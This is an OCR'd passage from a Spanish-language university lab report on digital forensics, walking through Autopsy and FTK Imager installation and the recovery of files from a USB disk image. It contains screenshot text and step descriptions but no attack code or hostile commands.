KaliLinux # KaliTools <« KaliDocs ¥ Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB OffSec
FILE ANALYSIS  KEYWORD SEARCH FLETYPE IMAGE DETALS META DATA DATA UNIT Hewe  CLosE
? X
. R e 2025-05-26 2025-10-09 2025-10-09 207497 0 0 11
Directory Seek 23:21:22 (CEST) 00:00:00 (CEST) 15:45:16 (CEST)
* rjp Eslellan serverital 2025-09-03 2025-10-09 2025-10-09 1524 o o0 28
Gl e 23:32:42 (CEST) 00:00:00 (CEST) 16:05:36 (CEST)
directory that you o et SRR
v F-GFIN-63 FORMATO UNICO SOLICITUD ANTICIPO
A o) S et TR L B 2025-08-19 2025-10-09 2025-10-09 346166 0 0 25
c:/ 13:57:08 (CEST) 00:00:00 (CEST) 16:03:37 (CEST)
| ¥ Inagen de WhatsApp 2025-09-24 a las
- e — 2025-09-24 2025-10-09 2025-10-09 131743 0 0 34
o 08:24:06 (CEST) 00:00:00 (CEST) 16:05:36 (CEST)
v Imagen de WhatsApp 2025-09-24 a las . - 10~
S e 2025-09-24 2025-10-09 2025-10-09 151260 0 0 40
» 08:24:08 (CEST) 00:00:00 (CEST) 16:05:36 (CEST)
File Name Search Inf #1 M; L de Me L 3.d
L 2025-09-01 2025-10-09 2025-10-09 3830083 0 0 44
Enter a Per] regular 17:59:46 (CEST) 00:00:00 (CEST) 16:05:36 (CEST)
expression for the Yo opjr  lnferme #1 Nanusl de Metasploi 3.pdt 2025-09-01 2025-10-09 2025-10-09 2565730 0 0 48
file names you want 17:58:30 (CEST) 00:00:00 (CEST) 16:05:37 (CEST)
oy e e T e —
File Browsing Mode
SEARCH
ALLDELETED Fies R e e A e

Figura 322.Herramientas de Buisqueda de Archivos

Interfaz de Autopsy con herramientas para buscar directorios especificos o archivos usando

expresiones regulares, y modo de navegacion para explorar el contenido de la imagen forense.



9.4.8.8 Proceso de Calculo de Hash MDS5 de la Imagen

B | @ CasolUSB:MVPITIIntegri X & New Tab

<« C @ O D localhost

Kali Linux 8 KaliTools < KaliDocs ¥ Kali Forums o Kali NetHunter Exploit-DB Google Hacking DB OffSec

FILE SYSTEM IMAGES

imagen_usb_forense..dd CALcULATE

Crose RerResH HeLe

Figura 323. Calculo de Hash MD5

Autopsy calculando el valor hash MD5 de la imagen forense para verificar su integridad

durante el analisis.

9.5.Subcapitulo 2: Conducto Para Descargar Autopsy en Windows
Para poder hacer el proceso de auditoria forense con autopsy en Windows lo primero que
debemos hacer es descargar el software necesario para poder trabajar en autopsy por ello lo que

debemos hacer es lo siguiente.

& Ver IT: Bienvenidos a Derry 1x1¢ X M Autopsy - Download x = o bed
< C [ % autopsy.com/download/ e CP A DB BB =
e e e oo i)
AUTOPSY DOWNLOAD ADD-ON MODULES COMMUNITY & SUPPORT ABOUT BLOG

DIGITAL FORENSICS

Download Autopsy

VERSION 4.22.1 FOR WINDOWS

DOWNLOAD FOR LINUX AND 0S X

Download and Register

Autopsy 4 will run on Linux and OS X. To do so:
+ Download the Autopsy ZIP file
+ Linux will need The Sleuth Kit Java .deb Debian package

+ Follow the instructions to install other dependencies

3" Party Modules Avtopsy Download
2rd narhe add an madulac can ha found in tha Madola aithohb ranacitan: 14

Figura 324. Pagina de Descarga de Autopsy



Primero nos dirigiremos a la pagina oficial de descarga de Autopsy

https://www.autopsy.com/download/ , y luego descargamos la tltima version disponible para

Windows.

9.5.1 Procedemos a instalar Autopsy

| &
Advertencia de seguridad de Abrir archivo x

;Desea ejecutar este archivo?

Mombre: Ch\Users'\Jaram\Downloadshautopsy-4.22.1-64bit.msi
= Editor: Sleuth Kit Labs LLC

Tipo: Pagquete de Windows Installer
De: ChlUsers'JaramiDownloadshautopsy-4.22.1-64bit.msi

Ejecutar l [ Cancelar

B Preguntar siempre antes de abrir este archivo

Aungue los archives procedentes de Internet pueden ser dtiles, este
tipe de archive puede llegar a dafiar el equipe. Solo gjecute software de
los editores en los que confia. ;Cual es el riesgo?

Figura 325. Procedemos a instalar autopsy

Luego que digamos descargado el archivo Para instalar autopsy procedemos h ejecutar lo
que nos permitira instalar el software necesario para poder realizar nuestra auditoria forense En

Windows.


https://www.autopsy.com/download/

9.5.1.1 Inicio del Asistente de Instalacion de Autopsy

Welcome to the Autopsy
Setup Wizard

The Setup Wizard will install Autopsy on your computer.
Click "Next" to continue or "Cancel” to exit the Setup Wizard.

m
it

Pantalla inicial del instalador de Autopsy para Windows. El asistente guiara al usuario con

el proceso de instalacion paso a paso.
Figura 326. Asistente de Instalacion

9.5.1.2 Configuracion de Carpeta de Instalacion

_
M Autopsy Setup
Select Installation Folder &

This is the folder where Autopsy will be installed. v
-«

To install in this folder, dick Next”. To install to a different folder, enter it below or didk
"Browse™,

Eolder:
C:\Program Files\Autopsy—4.22, 1), ~ Browse. ..

Advanced Installer

< Back Cancel

Figura 327. Seleccion de Directorio

Pantalla del instalador donde se define la ruta de instalacion de Autopsy. Por defecto se

instala en C:\Program Files\Autopsy-4.22.1\ pero permite cambiar la ubicacion.



9.5.1.3 Confirmacion del entorno para Instalar Autopsy

-
Tl Autopsy Setup o4
Ready to Install s
The Setup Wizard is ready to begin the Autopsy installation ‘
-

Click "Install” to begin the installaton. If you want to review or change any of your
installation settings, dick "Back”. Click "Cancel™ to exit the wizard.

Adwvanced Installer

< Back o Install Cancel

Figura 328. Confirmacion de Instalacion

Se muestra la confirmacion del asistente confirmando que esta listo para instalar Autopsy.

Permite revisar configuraciones antes de iniciar la instalacion definitiva.

9.5.1.4 Finalizacion Exitosa de la Instalacion

1" Autopsy Setup

Completing the Autopsy Setup
Wizard

Click the "Finish™ button to exit the Setup Wizard.

< Back Cancel

Figura 329. Instalacion Completada del software

Finalmente, mostramos como se confirma la instalacion exitosa de Autopsy. Al hacer clic

en "Finish" se cierra el asistente y el programa queda listo para usar.



9.5.2 Configuracion de Carpetas Compartidas

Basic

General Nombre Ruta Acceso Automontar En [ ]
Carpetas de la maquina
Sistema Carpetas transitorias

Pantalla

Almacenamiento

Audio

Red Interfaz de usuario

PR e Archivo ¥ Maéquina ¥ Ver ~ Entrada ¥ Dispositivos ¥ Depurar ¥ Ayuda ~
USB Estado visual: Normal (ventana) ~

e : W ;
Capetas commsthias Minibarra de herramientas: Mostrar en pantalla completa/fluido

=
]
.'.
)
»
-

Mostrar en la parte superior de la pantalla
i Interfaz de usuario

BoORKEIFEE ST €0

Aceptar Cancelar Ayuda

Figura 330. Configuracion de Carpetas Compartidas

Pantalla de configuracion de VirtualBox mostrando la seccion de Carpetas compartidas.

Desde aqui se puede definir la ruta de la carpeta compartida entre Windows y la maquina virtual

para transferir archivos.

9.5.2.1 Creacion de Carpeta en Windows

” Seleccionar carpeta
<« > ~ @8 > Doc.. > SEGURIDADY... >

Organizar ~ Nueva carpeta
™ Kevin Stiven, UN
Carpeta de arch
B Escritorio - 5 9 Carpeta de arch
Carpeta de arch
B Documentos #
Descargas  #
Imagenes  #

) Musica

@
o+

Carpeta: | Autopsy

Seleccionar carpeta [ cancelar

Figura 331. Creamos una Carpeta "Autopsy" Creada



Para crear la carpeta compartida seguimos el mismo proceso realizado al momento de
crear la carpeta de Windows XP, la imagen anterior muestra al Explorador de Windows
mostrando como se cred la carpeta Autopsy, creada dentro del directorio de SEGURIDAD Y
AUDITORIA DE RED. Esta carpeta servira para almacenar y organizar los archivos, incluyendo

la imagen de la memoria USB.

9.5.2.2 Agregando Carpeta Compartida

L

Ruta de carpeta: @8 C:\Users\Jaram\Do...UDITORIA DE REDES\Auto psy

Mombre de carpeta:  Autopsy
Punto de montaje:
56lo lectura
Automontar

Hacer permanente

Aceptar Cancelar

Figura 332.Configuracion de Carpeta Compartida

Luego en esta ventana de VirtualBox para afiadir la carpeta Autopsy como recurso
compartido. Se configura con montaje automatico y permanente para acceso continuo entre

Windows y la maquina virtual.



9.5.2.3 Carpeta Autopsy Correctamente Compartida

Acceso Automontar En

na
s\Jaram\Doc...AUDITORIA DE REDES\Autopsy Completo  Si
Carpetas trans

Pantalla

Almacenamiento

Figura 333. Carpeta Compartida Configurada

Configuracion de VirtualBox mostrando la carpeta Autopsy ya agregada como recurso
compartido con acceso completo y automontaje, permitiendo transferir archivos entre Windows y

Kali Linux.

9.5.2.4 Transferimos los Archivos a la Carpeta Compartida

Archivos : B sf_Autopsy

Carpeta personal
Recientes
Destacados
¥ Red hash_forense.shal imagen_usb_forens

e.dd
Papelera

Documentos
Musica
Imagenes

Videos

¥ Descargas

sf_Autopsy &

2 elementos seleccionados (4,0 GB)
Figura 334. Archivos Transferidos a Windows

mostramos los dos archivos forenses transferidos desde Kali Linux: hash forense.shal

y imagen_usb_forense.dd, listos para ser analizados con Autopsy en Windows.



9.5.2.5 Archivos Disponibles en Windows

X =

J > Documentos > SEGURIDAD Y AUDITORIA DEREDES > Autopsy

® Nuevo ~ T Ordenar ~ = Ver ~

& Galeria Nombre modificacion Tipo Tamafio

@ Kevin Stiven, UNI I hash_forense.shat / Archivo SHAT 1KB

B imagen_usb_forense.dd 25 1:00 Archivo DD KB

B Escritorio
E Documentos

L Descargas

& Imégenes

@ Masica

8 Videos *
@® Proyecto asoc #
8 SEGURIDAD Y AU
. EditsIG

8D

@® SISTEMAS DE INF

Figura 335. Archivos Forenses en Windows

Carpeta Autopsy en Windows mostrando los archivos forenses transferidos: el hash SHA1

de verificacion y la imagen forense DD, listos para ser analizados con Autopsy en Windows.

Abrimos la Pantalla de Inicio de Autopsy en Windows

Welcome

New Case

Open Case

Autpsy®

OPEN | EXTENSIBLE | FAST Close

Figura 336. Interfaz Principal de Autopsy Windows

Interfaz grafica de Autopsy en Windows mostrando las opciones para crear nuevo caso o

abrir caso existente. Desde aqui se inicia el analisis forense de la imagen USB importada dandole

€n nuevo Caso.



9.5.3 Creacion del Caso nuevo caso

Steps

1. Case Information
2. Optional Information

Figura 337. Configuracion del Caso en Windows

Pantalla de Autopsy Windows para configurar el nuevo caso forense. Se define el nombre

del caso y el directorio base donde se almacenaran todos los datos del analisis en la carpeta

Autopsy.

9.5.3.1 Rellenamos los metadatos para Caso Forense

Optional Information

Case

Number | CASO_1_USE_WIN
Examiner
Name: Kevin Jaramillo
Phone: 3135242322

Email: jaramillocordobak@gmail.com

Notes: Primer Analisis forense de USB

Organization

Organization analysis is beina don..  Universidad Tecnologica del Chocé ~ | Manage Organizat...

< Back Finish Cancel

Figura 338.Informacion Adicional del Caso

Luego llenamos el formulario completado con informacion opcional del caso: nimero

de caso, datos del analista (Kevin Jaramillo), contacto y notas descriptivas para documentacion

forense.



9.5.3.2 Configuracion de Host

Select Host

M Add Dat.

Steps

1. Select Host

2. Select Data Seurce Type
3.  Select Data Source

4. Configure Ingest

3. Add Data Source

Hosts are used to organize data sources and other data.
1O Generate new host name based on data source name
(O Specify new host name

() Use existing host

< boc Frisn | [ Concal | el

Figura 339. Seleccion de Host

Pantalla de Autopsy para definir el host que organizara la fuente de datos. Permite generar

nombre automatico, especificar uno nuevo o usar host existente para el analisis forense.

9.5.3.3 Seleccion de Tipo de Fuente de Datos

£ S

Steps Select Data Source Type

1. Select Host

2. Select Data Source Type - )
3. Select Data Source D loage onNM Eile
4. Configure Ingest

5. Add Data Source

Local Disk

Logical Files

Unallocated Space Image File

Autopsy Logical Imager Results

XRY Text Export

< Back ‘ Next > Finish Cancel Helg L

Figura 340. Tipo de Fuente de Datos

Ademas mostramos la pantalla para elegir el tipo de fuente de datos. Se selecciona Disk

Image or VM File para cargar la imagen forense DD de la memoria USB en Autopsy.



9.5.3.4 Se Carga el Archivo de Imagen Forense .dd

N
Steps Select Data Source
1. Select Host
2. Select Dats Source Ty ¥ OPen P
3. Select Data Source .
4. Configure Ingest ook Autopsy v| & e
5. ‘Addbata Solirce Win_Analisis_forense_USE
= "I imagen_ush forense.dd |
Elementos r...
Escritorio |
Documentos |
Este cquipo
B Ficrsme  [imagen_usb forense.da ==
Red Files of type: Al Supported Types -~ Cancel
= < Back Next > Finish Cancel Help E

Figura 341. Seleccion de Imagen Forense

Luego lo que se hace es seleccionar la imagen forense imagen usb_forense.dd desde la

carpeta compartida, que sera analizada como fuente principal del caso.

9.5.3.5 Seleccion de Parametros de la Imagen y Hash de Verificacion

M -

Steps Select Data Source

. Select Host
. Select Data Source Type

1 Path:
2

3. Select Data Source

4,

5

C:\Users\Jaram\Documents\SEGURIDAD Y AUDITORIA DE REDES\Autopsy\imagen_usb_forense.dd

Browse
. Configure Ingest

. Add Data Source [ Ignore orphan files in FAT file systems

Time zone: (GMT-5:00) America/Bogota

Sector size: Auto Detect

Bitlocker Password (optional):
Hash Values (optional):

MD5:

SHA-1: 2aa72180331dec51352f1db381daf0e319b8bA4c0
SHA-256:

NOTE: These values will not be validated when the data source is added.

[[<Back Finish Cancel Help -
Figura 342. Seleccion de Parametros de la Imagen y Hash de Verificacion
aqui mostramos la pantalla de configuracion mostrando la ruta de la imagen forense, zona

horaria Bogotd, y el hash SHA-1 previamente calculado para verificacion durante el andlisis en

Autopsy.



9.5.3.6 Seleccion de Modulos para Analisis

38 Add Data Source

Steps Configure Ingest

1. Select Host

2. Select Data Source Type Run ingest modules on:

3. Select Data Source The selected module has no per-run settings.
N All Files, Directories, and Unallocated Space ~

4. Configure Ingest

5.

Add Date Source |- | Recent Activiy |

Hash Lookup

File Type Identification
Extension Mismatch Detector
Embedded File Extractor
Picture Analyzer
Keyword Search

Email Parser

Encryption Detection
Interesting Files Identifier
Central Repository
PhotoRec Carver

Virtual Machine Extractor Extracts recent user activity, such as Web browsing, re...

Global Settings
Select All Deselect All Histor - 2

< Back Finish Cancel Help

Figura 343. Modulos de Analisis

Lo siguiente es realizar la configuracion de mddulos de Autopsy donde se seleccionan las

herramientas de analisis para examinar la imagen forense de manera automatizada.

9.5.3.7 Se carga Imagen Forense

i M A e
Steps Add Data Source
1. Select Host
2. Select Data Source Type
3. Select Data Source 4
4. Configure Ingest Data source has been added to the local database. Files are being analyzed.
5. Add Data Source

Finish Cancel
Figura 344. Se carga Imagen Forense y la fuente de Datos Agregada
Aqui miramos la confirmacion de que la imagen forense ha sido agregada exitosamente a

la base de datos de Autopsy y estd siendo analizada automéaticamente por los modulos de ingesta

seleccionados.



9.5.4 Interfaz de Andlisis de Autopsy

Help

% & DataSources

-y Deleted Files
= MB File Size
Data Antifacts

/> Metadata (7)
Q Analysis Resuts
5 05 Accounts

Add Data Source M images/Videos i Communications

eolocation %=, Timeline 4{| Discovery i GenerateReport @ CloseCa® BEM™ @ - Keyword Lists Qs Keyword Search
Data Sources 1 Results]
Table  Thumbnait
Seve Table as CSV
Name
Binagerust Forense i Hok
Analyzing files from imagen_usb_forense.dd @Bmore..) 2

Figura 345. Analisis en Progreso

Autopsy Windows mostrando el analisis en tiempo real de la imagen forense. La barra de

progreso indica 100% completado

9.5.5 Archivos Recuperados de la Memoria USB

Case View Tools Window

Help

€ o

& @ Data Sources

=+ l§ imagen_usb_forense.dd_1 Host
= 2 imagen_ush_forense.dd

vol1 (Unallocated: 0-63)

& vol2 (Win95 FAT32 (0x0b): 64-7866367)
File Views
- & File Types
By Deleted Files

Sl File System (21)

% All(39)

[+ MB File Size
. Data Artifacts

</> Metadata (30)
b Q Analysis Results
i =g 0S Accounts
i [ Tags
=] o Score

o Bad Items (0)
& Suspicious ltems (0)
% Reports

e (@

a

- e
= @ Add Data Source ﬁ Images/Videos [ Communications 9 Geolocation o Timeline (‘ Discovery |il; Generate Report ® Close Ca

Listing |

="

© ~ Keyword Lists

Q Keyword Search

-

File System
Table  Thumbnail

Modified Time

Name S C (o}
Material de apoyo general.pdf

F-GFIN-63 FORMATO UNICO SOLICITUD ANTICIPO

exploit a win server.txt

Imagen de WhatsApp 2025-09-24 a las 08.24.04_bcC

Imagen de WhatsApp 2025-09-24 a las 08.24.07_95fi

Informe #1 Manual de Metasploit_3.pdf

3

Informe #2 Escaneo de puertos.docx
Informe #2 Escaneo de puertos.pdf

Informe #3 Explotacién maquinas.pdf

K XK K K K K K K XK

Informe #4 SOL Iniection - copia.docx

Change Time

21 Results

Save Table as CSV

Access Time [

Analyzing files from imagen_usb_forense.dd B 3more.) 2

Figura 346. Resultados del Andlisis Forense

Por ultimo, mostrando los archivos recuperados de la memoria USB, incluyendo

documentos PDF, Word, imagenes de WhatsApp y archivos de texto.




9.5.6 Extraccion de Archivos desde la Imagen Forense

MName s C o] Meodified Time Change Time Access Time (3

% Informe £7 Explotacién BadBlue y Camuflaje.docx
. Material de apoyo general.pdf

MOVISTAR  (Volume Label Entry)

Motas.bet
I | Proteccin-de-datos-personales U NAL pdf

SOL injection.txt

View File in Timeline...

View ltem in New Window

Open in External Viewer Ctri+E

Hex Text Application File Metadata Extract Filels) Annotations Other Occurrences
é 0 | i m 1 UfEET‘ g Expart Selected Rows to CSV R O | o ’I_\Q QF H%
Add File Tag >

Add/Edit Central Repository Comment
PROTEC( ...... .. TOS PERSOI

Properties

Page1/28 [ 30E= A

Figura 347. Exportacion de Archivos Recuperados

Lo siguiente que hicimos fue buscar la opcion Extract File(s) para exportar los archivos

recuperados de la imagen forense.

9.5.6.1 Exportacion de Archivo PDF Recuperado

| £ Save X
Savein: Autopsy “ r A
Win_Analisis_forense_USB

E |—| hash_forenseshal
i |—| imagen_usb_forense.dd e
D-
L 1
Escritorio ]
D-
= ]
D-

Documentos

C e
Este equipo '_

h File name: Proteccin-de-datos-personales U NAL pdf
Red Files of type: Al Files w d Save selecter

Bl —— . —— . e o e o S —— — o ——

Figura 348. Guardando Archivo Extraido

Aqui se evidencia la ventana de guardar mostrando la extraccion del archivo "Proteccion-

de-datos-personales U NAL.pdf" desde la imagen forense hacia la carpeta Autopsy en Windows.



M Information X

File(s) extracted.

Figura 349. Extraccion Exitosa

Finalmente, obtuvimos el mensaje de confirmacion de Autopsy indicando que el
archivo PDF ha sido extraido exitosamente de la imagen forense y guardado en el sistema de

archivos de Windows.

9.6.Subcapitulo 3: Descarga de FTK Imager
Para descargar FTK Imager lo que debemos hacer es ir a nuestro navegador y buscar el

sitio oficial de este software.

€Y terrO  Products Solutions Customers Resources Company  Partners Exterrofor Law Enforcement  Q m

FTK Imager 4.7.3.81

Release Information Support Portal

B RELEASE NOTES B USER GUIDE © GET SUPPORT

MDS5 hash value is 3815b9c2a6aa8898ecbe55353aaf4b79 In version 4.7.3.21 of FTK Imager, users may

have observed the unintentional inclusion of
Decryption support.

Product Downloads The latest release (4.7.3.81) does not
include this functionality.

& FTKIMAGER4.7.3.81

Figura 350. Pagina de Descarga de FTK Imager

Dentro de la Pagina oficial buscamos la opcion de descargar FTK Imager 4.7.3.81,

herramienta profesional para creacion de imagenes forenses.



9.6.1 Formulario de Registro para descargar FTK Imager

Download FTK Imager Pro 8.2

Exterro FTK Imager Pro is an advanced data preview and acquisition tool
designed for professional digital investigators who need more speed, control, and
capability than the standard FTK Imager. It captures digital evidence in a
forensically sound manner—creating precise, verifiable copies of data without
altering the original source.

The Pro edition builds on the trusted foundation of FTK Imager with enhanced
automation, encryption awareness, and modern evidence handling, supporting

Fill out the form
to download FTK
Imager Pro 8.2

First Name

Kevin

*Last Name

Jaramillo

* Business Email

Jaramillocordobak@gmail.com

* Organization Name

Universidad tecnologica del choco

* Job Title

analisis

*Company Country

Colombia v

Figura 351. Descarga de FTK Imager Pro

Pégina de registro para descargar FTK Imager Pro 8.2, version avanzada con capacidades

forenses mejoradas. Se completan los datos de la persona (Kevin Jaramillo) y la institucion

(Universidad Tecnologica del Choco) para obtener el software.

9.6.2 Confirmamos la Descarga de FTK Imager

Download FTK Imager Pro 8.2

Exterro FTK Imager Pro Is an advanced data preview and acquisition tool
designed for professional digital investigators who need more speed, control, and
capability than the standard FTK Imager. It captures digital evidence in a
forensically sound manner—creating precise, verifiable copies of data without
altering the original source.

The Pro edition builds on the trusted foundation of FTK Imager with enhanced

Fill out the form
to download FTK
Imager Pro 8.2

Thank you for your interest in FTK
Imager. Your download should start
automatic:

If it doesn't, please cor

Figura 352.Descarga Exitosa FTK Imager

Luego obtuvimos un mensaje de éxito confirmando que la descarga de FTK Imager Pro

8.2 ha comenzado automaticamente.



9.6.2.1 Descompresion del Instalador de FTK Imager

s Extraer carpetas comprimidas (en zip)

Seleccionar un destino y extraer archivos

Leos archivos se extraeran a esta carpeta:

(T Users' Jaram\Downloads\lmagerPro_8.2.0.26| Examinar...

[ Mostrar los archivos extraidos al completar

Extraer Cancelar

Figura 353. Extraccion de Archivos de FTK Imager

Después que descargamos el archivo hicimos la extraccion de los archivos comprimidos
de FTK Imager en la carpeta de Descargas, preparando los archivos necesarios para la

instalacion del software forense.

9.6.3 Instalacion de CodeMeter Runtime para FTK Imager

Exterro FTK Imager - InstallShield Wizard

Exterro FTK Imager requires the following items to be installed on your computer, Click
X Install to begin installing these requirements.

Status  Requirement
Pending CodeMeter Runtime 8,20

Install Cancel

Figura 354. Instalamos los archivos necesarios

Luego realizamos la instalacion del asistente CodeMeter Runtime 8.20 como requisito
previo para FTK Imager. Este componente es necesario para la gestion de licencias y seguridad

del software forense.



9.6.4 Instalacion de Exterro FTK Imager

Welcome to the InstallShield Wizard for
Exterro FTK Imager

The InstallShield(R) Wizard will install Exterro FTK Imager on
your computer. To continue, dlick Next.

WARNING: This program is protected by copyright law and
international treaties.

exterro

[ Next> | Cancel

Figura 355. Asistente de Instalacion FTK Imager

Pantalla de bienvenida del asistente de instalacion de FTK Imager, mostrando la
advertencia de proteccion por derechos de autor antes de comenzar la instalacion del software

forense.

License Agreement exterro

Fl ead the fi ng license agreement carefully.

END-USER LICENSE AGREEMENT FOR EXTERRO

SOFTWARE

IMPORTANT - READ CAREFULLY

This End-User License Agreement (“"EULA™) is a legal agreement

[ RPN, DU IS 5 R S TR . X SRR UL S [N S, [ PR R

°I accept the terms in the license agreement Print

()1 do not accept the terms in the license agreement

< Back Next = ] Cancel

Figura 356. Acuerdo de Licencia términos y condiciones



Pantalla del acuerdo de licencia que debe ser aceptado para continuar con la instalacion de
FTK Imager. El usuario debe marcar la casilla de aceptacion de términos antes de proceder con la

instalacion del software.

Destination Folder exterro

Click Next to install to this folder, or dick Change to install to a different folder.

Install Exterro FTK Imager to:
.’—/ C:'\Program Files\AccessData', change. ..

B Add Installation File path in Windows Defender Exdusion List

< Badk Mext = ] Cancel

Figura 357. Carpeta de Destino

Obtuvimos esta pantalla en la que se realiza la seleccion de carpeta de destino para
FTK Imager. Por defecto se instala en C:\Program Files\AccessData\ y se da la opcion de

excluir la ruta en Windows Defender para evitar interferencias durante el analisis forense.

Ready to Install the Program exterro

The wizard is ready to begin installation.

Click Install to begin the installation.

If you want to review or change any of your installation settings, dick Back. Click Cancel to
exit the wizard.

< Back Install ] Cancel

Figura 358. Listo para Instalar

Se muestra la Pantalla final del asistente confirmando que esta listo para instalar FTK

Imager.



9.6.4.1 Finalizacion Exitosa de la Instalacion

InstallShield Wizard Completed

The InstallShield Wizard has successfully installed Exterro FTK
Imager. Click Finish to exit the wizard.

@ Launch Exterro FTK Imager

exterro
OF TK

( Finish |

Figura 359. Instalacion Completada

Ya en este punto se habia hecho una instalacion exitosa de FTK Imager. La casilla
"Launch Exterro FTK Imager" permite abrir el software inmediatamente para comenzar el

analisis forense de la memoria USB.

9.6.5 Crearcion de la Imagen en FTK Imager

Eile View Mode

o s S Ldlic] EEE- I

Evidence Tree s | |Fite List x

IT
oy

Upgrade to PRO

@

Name Size Type Date Accessed Date Created

Custom Content Sources x

Evidence:File System|Path|File Options

For User Guide, press F1

Figura 360. Interfaz Principal FTK Imager

Antes de realizar el proceso de analisis forense ingresamos a FTK y se nos mostro esta
interfaz. La interfaz principal de FTK Imager contiene el arbol de evidencia y opciones para

crear nuevas imagenes forenses.



9.6.5.1 Configuracion de Fuente de Evidencia

Please Select the Source Evidence Type
() Physical Drive
i ) Logical Drive
> Image File

() Conterts of a Folder
flogical filedewvel analysis only; excludes deleted. unallocated, etc.)

Figura 361. Seleccion de Tipo de Fuente

Luego, realizamos la seleccion de tipo de evidencia en FTK Imager. Se elige "Image

File" para cargar y analizar la imagen forense previamente creada de la memoria USB.

9.6.5.2 Cargando Archivo de Imagen DD en FTK Imager

&€ > ~ 4 @ SEGURIDADY..> Autopsy

Organizar * MNueva carpeta

! Documentos #

. imagen_usb_forense.dd
3 Descargas #

Proteccin-de-datos-personales U NAL.pdf
X Imigenes

® Misica

Abrir | ‘ Cancelar

Figura 362. Seleccion de Imagen Forense

En FTK Imager para seleccionamos la imagen forense imagen usb_forense.dd desde la

carpeta Autopsy.



9.6.5.3 Fuente de Evidencia Definida en FTK Imager

Evidence Source Selection

Flease enter the source path:
C:hUsersharam Documents'SEGURIDAD ¥ AUDITORIA

Browse_

Figura 363.Ruta de Evidencia Configurada

Después en FTK Imager utilizamos la ruta de la imagen forense ya configurada. La
herramienta esta lista para cargar y analizar el archivo imagen usb forense.dd desde la ubicacion

especificada en el directorio.

9.6.5.4 Contenido de la Memoria USB en FTK Imager.

File View Mode Help UpgradetoPRO

a8%scg G8-EBs mBalOEa[RRR 2.

[Evidence Tree x | [File List
&) imagen_usb_forense.dd Name Size Type Date Accessed Date Created Date Modified
T ;an%v}s[ﬁ?[ﬁlnm [5] Captura de pantalla 2025-05-26 232121.p... 207.497 (203KB) Regular File 09/10/2025 15:45:16 26/05/2025 23:21:22
563 Foot] [7] Captura de pantalla 2025-05-26 232121.p... 1399 (2K8) File Slack
{22 System Volume Information K] exploit a win server.txt 1524 (2K8) Regular File 09/10/2025 16:05:36 03/09/2025 23:32:42
{2 unallocated space] [7] exploit s win server.txt FileSlack 2572(3KB) File Slack
=18 Unparttioned Space [basic disk] R F-GFIN-63 FORMATO UNICO SOLICITUD ... 346,166 (339 KB) Regular File 09/10/2025 16:03:37 19/08/2025 13:57:08
100 [unallocated space] [ F-GFIN-63 FORMATO UNICO SOLICITUD ... 1.994 (2KB) File Slack
€] Imagen de WhatsApp 2025-09-24 3 las 08... 131743 (129KB) Regular File 09/10/2025 16:05:36 24/09/2025 8:24:06
[ Imagen de WhatsApp 2025-09-24 a las 08...  3.425 (4KB) File Slack
€] Imagen de WhatsApp 2025-00-24 a las 08... 151.260 (142KB) Regular File 09/10/2025 16:05:36 24/00/2025 8:24:08
@3 Informe #1 Manual de Metasploit 3.docx  3.830.083 (3.74... Regular File 09/10/2025 16:05:36 01/09/2025 17:5%:46
[7] Informe #1 Manual de Metasploit 3.docx...  3.773 (4KB) File Slack
) Informe #1 Manual de Metasploit_3pdf ~ 2.565.730 (2.50... Regular File 09/10/2025 16:05:37 01/09/2025 17:58:30
[7) Informe #1 Manual de Metasploit 3.pdfF.. 2462 (3KB) File Slack
= _|000|42 20 00 49 00 €E 00 €6-00 €F 00 OF 00 72 72 00
‘Custnm Content Sources X [|010|éD 00 €1 00 74 00 €9 00-6F 00 00 00 €E 00 00 00
I’ 02001 53 00 79 00 73 00 74-00 €5 00 OF 00 72 €D 00| -

Evidence:File System|Path|File Options 03020 00 S€ 00 €F 00 €C 00-75 00 00 00 €D 00 €S 00
040 |53 59 53 54 45 4D 7E 31-20 20 20 16 00 88 280 89
050 ([E1 56 E1 56 00 00 81 89-E1 56 03 00 00 00 00 00 |&Vav
060 4D 4F 56 49 53 54 41 52-20 20 20 08 00 00 00 00
07000 00 00 00 00 0O A6 95-48 SB 00 00 00 00 00 00
080 |44 6E 00 €7 00 00 00 FF-FF FF FF OF 00 48 FF FF
090 |FF FF FF FF FF FF FF FF-FF FF 00 00 FF FF FF FF
0a0 |03 35 00 2D 00 32 00 36-00 20 00 OF 00 48 32 00
0b0 (33 00 32 00 31 00 32 00-31 00 00 00 2E 00 70 00
0c0|02 6E 00 74 00 €1 00 6C-00 &C 00 OF 00 48 €1 00
0d0 |20 00 32 00 30 00 32 00-35 00 00 00 2D 00 30 00
0e0 |01 43 00 €1 00 70 00 74-00 75 00 OF 00 48 72 00| -C-a-
0£0 |61 00 20 00 €4 00 €5 00-20 00 00 00 70 00 &1 00

o

100 (43 41 S0 54 S5 52 7E 31-50 4E 47 20 00 32 A8 7D |CAPTUR~1PNG
11049 SB 49 SB 00 00 AB BA-BA SA 06 00 89 2A 03 00 |I[I[--«°°Z---*--
New Edit Remove 120|ES 70 00 €4 00 €6 00 00-00 FF FF OF 00 AF FF FF|&p £ V¥ - ¥Y
. — 120l TR ¥R FR TR FR TR TR FE_ER TR AA A FR OFE R R o0

Figura 364. Analisis de Imagen en FTK Imager

Dentro de FTK Imager mostramos el andlisis detallado de la imagen forense. Se

visualizan documentos, imagenes de WhatsApp y archivos de PDF.



9.6.6 Archivos Exportado Correctamente

m
[w]
|

0 folder(s) and 1 file[s) exported successfully.
2565730 bytes copied.

Aceptar l

Figura 365. Exportacion Exitosa

Por ultimo, mostramos el mensaje de confirmacion que indica que exportamos los

archivos de forma correcta, cerrando asi este seccion y la culminacion de la préctica.
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Recomendaciones
Mantener siempre un enfoque ético y académico: Todas las practicas de
reconocimiento, explotacion y analisis deben ejecutarse unicamente en entornos
controlados y autorizados, como maquinas virtuales o laboratorios disefiados para
este fin. Esto garantiza que los ejercicios no afecten sistemas reales ni vulneren la
ley.
Documentar cada laboratorio detalladamente: Registrar comandos, versiones,
configuraciones, resultados y fallas encontradas ayuda a comprender mejor los
procesos y permite detectar errores mas facilmente en précticas futuras.
Actualizar periédicamente las herramientas de auditoria: Suites como Nmap,
Metasploit, Aircrack-ng, Hydra o Wireshark deben mantenerse actualizadas para
evitar incompatibilidades y asegurar que se disponga de las Gltimas funciones y
parches de seguridad.
Realizar practicas de endurecimiento (hardening): Después de aprender a
explotar vulnerabilidades, es recomendable aplicar contra-medidas en las
maquinas virtuales para reforzar la seguridad: desactivar servicios innecesarios,
actualizar sistemas, implementar reglas de firewall, mejorar politicas de
